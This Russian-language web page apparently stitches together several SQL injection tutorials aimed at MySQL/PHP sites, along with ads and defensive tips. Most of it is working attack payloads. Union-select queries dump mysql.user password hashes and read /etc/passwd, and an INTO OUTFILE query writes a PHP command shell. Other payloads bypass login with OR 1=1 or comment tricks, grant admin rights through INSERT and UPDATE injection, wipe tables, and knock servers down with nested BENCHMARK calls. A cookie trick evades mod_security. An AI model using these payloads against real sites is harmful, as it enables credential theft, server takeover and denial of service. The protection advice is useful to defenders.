Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп.

4)системная информация

у нас уже достаточно информации чтобы составить такой запрос.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Кроме того можно узнать много интересного:

http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5) названия столбцов в таблице

Их аналогично, можно перебрать: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и тд.

текст файлов через MySQL инъекцию.

Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла

http://site/test.php?id=9999+union+select+null,LOAD_FILE("/etc/passwd"),null/*

запись файлов в веб директорию (php shell).

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа.

http://site/test.php?id=9999+union+select+null,"+system($cmd)+?
>",null+from+table1+into+outfile+"/usr/local/site/www/banners/cmd.php"/*

При этом конструкция from table1 обязательна.

Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include.

инъекция после limit.

Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

Практика показывает, что все вышесказанное может быть применено и в этом случае.

MySQL корректно реагирует на запросы типа:

Select … limit 1,2 union select….

Select … limit 1 union select….

Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

Select … limit 99999,1 union select…. Либо, Select … limit 1,0 union select….

некоторые "подводные камни".

Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(...) выдает ошибку.

2) Mod_security.

Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

DOS в MySQL инъекции.

Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос:

http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун.

другие типа MySQL инъекции.

Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например:

mysql_query("select id from users where password like "".addslashes($password)."" and user like "".addslashes($user).""");

в этом случае к любому пользователю подойдет пароль %

apache mod_rewrite

В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

Например, скрипты типа /news/127.html преобразуются к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*)\.html$ "/news/news.php?id=$1"

Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла.

коротко о защите.

Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил.

1) для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу.

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию.

if((string)$id(string)(int)$id) {

//пишем в лог о попытке

2) для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки.

$str=addslashes($str);

или, лучше,

mysql_escape_string($str)

3) в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов.

Учебный центр "Информзащита" http://www.itsecurity.ru - ведущий специализированный центр в области обучения информационной безопасности (Лицензия Московского Комитета образования № 015470, Государственная аккредитация № 004251). Единственный авторизованный учебный центр компаний Internet Security Systems и Clearswift на территории России и стран СНГ. Авторизованный учебный центр компании Microsoft (специализация Security). Программы обучения согласованы с Гостехкомиссией России, ФСБ (ФАПСИ). Свидетельства об обучении и государственные документы о повышении квалификации.

Компания SoftKey – это уникальный сервис для покупателей, разработчиков, дилеров и аффилиат–партнеров. Кроме того, это один из лучших Интернет-магазинов ПО в России, Украине, Казахстане, который предлагает покупателям широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнения заказа в персональном разделе, различные скидки от магазина и производителей ПО.

Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.

SQL инъекция (SQL injection ) - уязвимость которая возникает при недостаточной проверке и обработке данных , которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.

Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний. Использование этой уязвимости дает путь к большим возможностям таким как:

  • кража данных - 80%;
  • отказ в обслуживании - 10 процентов;
  • подмена или уничтожение данных - 2-3%;
  • другие случаи и намерения.

Также существуют различные программы по тестированию безопасности сайта на всякие JS и SQL инъекции.

Подробное объяснение

В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии между и базой данных MySQL. Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

CREATE DATABASE `news`; USE `news`; # # таблица новостей # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем некоторые данные # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`="news text"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # таблица пользователей # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем несколько пользователей, одного с правами админа, другого простого # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1"; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет, как результат

«You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ at line 1»

или результат

http://test.com/index.php?id=2-1

при наличии уязвимости должен выдать результат, аналогичный

http://test.com/index.php?id=1 .

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE. Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

количество «null» должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

Например:

http://test.com/index.php?id=-1+UNION+SELECT+null

теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.

Как узнать версии MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Как вытащить логин текущего пользователя базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Как имя используемой базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Как получить другие данные из других таблиц?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Вот таким нехитрым способом узнают пароль или хэш пароля админа. Если же текущий пользователь имеет права доступа к базе «mysql», без малейших проблем злоумышленник получит хэш пароля админа.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Теперь его подбор это просто вопрос времени.

Поиск

Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search - слово, которое передается с формы. Злоумышленник может передать в переменной $search="# теперь запрос будет выглядеть следующим образом:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.

Использование параметра ORDER

Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.

http://test.com/index.php?sort=name

параметр ORDER формируется в зависимости от переменной $sort

Будет сформирован следующий запрос:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

тем самым комментируется одно из условий и параметр ORDER

Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT…

Как вариант использования уязвимости этого параметра:

SELECT * FROM `users` ORDER BY LENGTH(password);

Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в «чистом» виде.

Авторизация

Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

где $login и $password это переменные, которые передаются с формы. Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат. Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается " OR "1"="1 Или какое-нибудь истинное условие (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3). Соответственно запрос будет сформирован следующим образом:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в таблице хэшированные? Тогда проверку пароля просто «отключают», закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и "# тем самым закомментируется проверка пароля.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

как вариант "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Большой ошибкой является проверка пароля следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

поскольку в этом случае для любого логина подойдет пароль %

INSERT & UPDATE

Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE. Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:

Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными. В поле login добавляем пользователь", "пароль", 1)# тем самым добавив пользователя с правами админа.

INSERT `users` SET `login`="пользователь", `password`="пароль", `admin`="0";

Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько. Пример уязвимости в поле login: $login= пользователь", "пароль"), (1, "хакер", "пароль")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "пользователь", "пароль"), (1, "хакер", "пароль")#", "пароль");

Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.

Подобная ситуация и с UPDATE

Добавление дополнительных полей для изменения:

$login=", `password`="", `admin`="1

Тогда подобный запрос

UPDATE `users` SET `login`="чайник" WHERE `id`=2;

Модифицируется следующим образом:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа. Или в случае

$login=", `password`="" WHERE `id` =1#

Логин и пароль админа станут пустыми.

DELETE

Тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста.

$id=1 OR 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // почистит все записи в таблице.

Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Работа с файлами через SQL инъекции

Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.

Про их опасность можно судить из нижеприведенных запросов:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Но на этом все беды еще не заканчиваются.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` into outfile "/home/test/www/test.php";

Вот так записываем файл, который содержит PHP код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность PHP кода. Однако есть несколько условий, благодаря которым эти способы сработают:

  • Включена привилегия FILE для текущего пользователя базы данных;
  • Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер абсолютный путь к файлу;
  • менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.

Magic quotes

Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все " и " которые приходят с $_GET та $_POST. Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать ". В этом случае помогает функция сhar.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS через SQL инъекцию.

Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях:) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. «Не получится взломать, так хоть завалю» подумает хацкер, набирая функцию BENCHMARK для примера запрос

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Выполнялся у меня от 12 до 15 секунд. Добавив нолик - 174 секунды. На большее у меня просто не поднялась рука. Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но…BENCHMARK позволяет вкладывать себя один в один. Вот так:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Или даже вот так

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Да и количество нулей ограничено разве что «добротой» того, кто их набирает.

Я думаю, что даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.

Итог

На этом все. В этой статье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко не полный перечень.

Важно запомнить правила против SQL инъекций

  • Не доверяйте НИКАКИМ данным, которые приходят от пользователя. Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP заголовков. Следует помнить про те, что их легко подменить.
  • Не стоит надеяться на опцию PHP «magic quotes», которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями базы данных. ($id=(int)$_GET["id"]) или защищены функциями mysql_real_escape_string или mysql_real_escape_string.
  • mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.
  • Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания «удобных» URL, но уж никак не способ защиты от SQL инъекций.
  • Отключите вывод информации об ошибках.
  • Не помогайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок и другой детальной информации - ваш союзник на стадии разработки, и союзник злоумышленника в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи.
  • Обрабатывайте ошибки.
  • Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.
  • Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.
  • Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc
  • Не создавайте «супер-пользователя» базы данных.
  • Предоставляйте только права, необходимые для выполнения конкретных задач.
  • В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.
  • Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том «Войны и мира».
  • Всегда проверяйте количество возвращенных записей после запроса

Почти на 90% сайтов, написанных на php встречается такая логическая ошибка, особенно это можно наблюдать, когда делается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID - мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в чистую страницу.

Безопасного вам SQL .

SQL инъекция — это атака, которая задействует динамические операторы SQL , вынося в комментарии определенные части инструкций или добавляя условие, которое всегда будет истинным. Она нацелена на дыры в архитектуре веб-приложений и использует операторы SQL для выполнения вредоносного SQL-кода :

В этой статье мы рассмотрим методы, используемые при SQL-инъекциях и способы защиты веб-приложений от таких атак.

Как работает SQL-инъекциях

Типы атак, которые могут быть выполнены с использованием SQL-инъекции , различаются по типу поражаемых механизмов базы данных. Атака нацеливается на динамические операторы SQL . Динамический оператор — это оператор, который создается во время выполнения на основе параметров из веб-формы или строки запроса URI .

Рассмотрим простое веб-приложение с формой входа. Код HTML-формы приведен ниже:

  • Форма принимает адрес электронной почты, а затем пароль отправляется в файл PHP с именем index.php ;
  • Сессия хранится в файле cookie . Эта возможность активируется при установке флажка remember_me . Для отправки данных используется метод post . Это означает, что значения не отображаются в URL-адресе .

Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:

  • Запрос использует значения массива $ _POST напрямую, не санируя его;
  • Пароль шифруется с использованием алгоритма MD5 .

Мы рассмотрим атаку с использованием SQL инъекции sqlfiddle . Откройте в браузере URL-адрес http://sqlfiddle.com/ . На экране появится следующее окно.

Примечание : вам нужно будет написать инструкции SQL :


Шаг 1. Введите этот код в левую панель:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ("[email protected]",md5("abc"));

Шаг 2. Нажмите кнопку «Build Schema ».
Шаг 3. Введите приведенный ниже код в правой панели:

select * from users;

Шаг 4. Нажмите «Run SQL ». Вы увидите следующий результат:

Предположим, что пользователь предоставляет адрес электронной почты [email protected] и 1234 в качестве пароля. Запрос, который должен быть выполнен в базе данных, может выглядеть следующим образом:

Приведенный выше код SQL инъекции примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:

[email protected]" OR 1 = 1 LIMIT 1 -- " ]

и xxx в поле пароля.

Сгенерированный динамический оператор будет выглядеть следующим образом:

  • [email protected] заканчивается одной кавычкой, которая завершает строку;
  • OR 1 = 1 LIMIT 1 — это условие, которое всегда будет истинным, оно ограничивает возвращаемые результаты только одной записью.

0; ‘ AND … — это комментарий SQL , который исключает часть пароля.

Скопируйте приведенный выше запрос и вставьте его в текстовое поле SQL FiddleRun SQL , как показано ниже:


Хакерская активность: SQL-инъекции в веб-приложения

У нас есть простое веб-приложение, доступное по адресу http://www.techpanda.org/ , которое специально сделано уязвимым для атак с использованием SQL инъекций для новичков в демонстрационных целях. Код HTML-формы , приведенный выше, взят со страницы авторизации данного приложения.

Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.

Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:


Предположим, что злоумышленник предоставляет следующие данные:

Шаг 1 : Вводит [email protected] в качестве адреса электронной почты;
Шаг 2 : Вводит xxx’) OR 1 = 1 — ] ;


Нажимает кнопку «Отправить ».

Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:

На приведенной ниже диаграмме показано, как запрос был сгенерирован:


  • В запросе предполагается, что используется шифрование md5 ;
  • Используется закрывающаяся одиночная кавычка и скобка;
  • К оператору добавляется условие, которое всегда будет истинным.

Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций несколько различных методов.

Другие типы атак с использованием SQL-инъекций

SQL-инъекции могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:

  • Выполнить удаление данных;
  • Выполнить обновление данных;
  • Выполнить добавление данных;
  • Выполнить на сервере команды, которые будут загружать и устанавливать вредоносные программы;
  • Выполнить экспорт на удаленный сервер злоумышленника ценных данных, таких как реквизиты кредитной карты, электронная почта и пароли.

Приведенный выше список не является полным. Он просто дает представление о том, какую опасность представляют SQL-инъекции .

Инструменты для автоматизации SQL-инъекций

В приведенном выше примере мы использовали методы ручной атаки. Перед тем, как сделать SQL инъекцию , нужно понимать, что существуют автоматизированные инструменты, которые позволяют выполнять атаки эффективнее и быстрее:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap .

Как предотвратить SQL-инъекции

Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций :

Ввод пользовательских данных не должен быть доверенным . Его всегда нужно санировать, прежде чем данные будут использоваться в динамических операциях SQL.

Хранимые процедуры — они могут инкапсулировать SQL-запросы и обрабатывать все входные данные в качестве параметров.

Подготовленные запросы — сначала создаются запросы, а затем все предоставленные пользовательские данные обрабатываются в качестве параметров. Это не влияет на синтаксис инструкции SQL .

Регулярные выражения — могут быть использованы для обнаружения потенциально вредоносного кода и его удаления перед выполнением операторов SQL .

Права доступа на подключение к базе данных – чтобы защититься от SQL инъекций , учетным записям, которые используются для подключения к базе данных, должны предоставляться только необходимые права доступа. Это поможет ограничить действия, которые SQL-операторы могут выполнять на сервере.

Сообщения об ошибках — не должны раскрывать конфиденциальную информацию. Простые пользовательские сообщения об ошибках, такие как «Извините, возникла техническая ошибка. Служба поддержки уже уведомлена о ней. Повторите попытку позже », можно использовать вместо отображения запросов SQL , вызвавших ошибку.

Хакерская активность: использование для SQL-инъекций Havij

В этом практическом сценарии мы собираемся использовать программу Havij Advanced SQL Injection для сканирования уязвимостей сайта.

Примечание . Ваша антивирусная программа может реагировать на эту программу в силу ее природы. Поэтому необходимо добавить ее в список исключений или приостановить работу антивирусного программного обеспечения:


Упомянутый выше инструмент можно использовать для оценки уязвимости / приложения.



© 2024 beasthackerz.ru - Браузеры. Аудио. Жесткий диск. Программы. Локальная сеть. Windows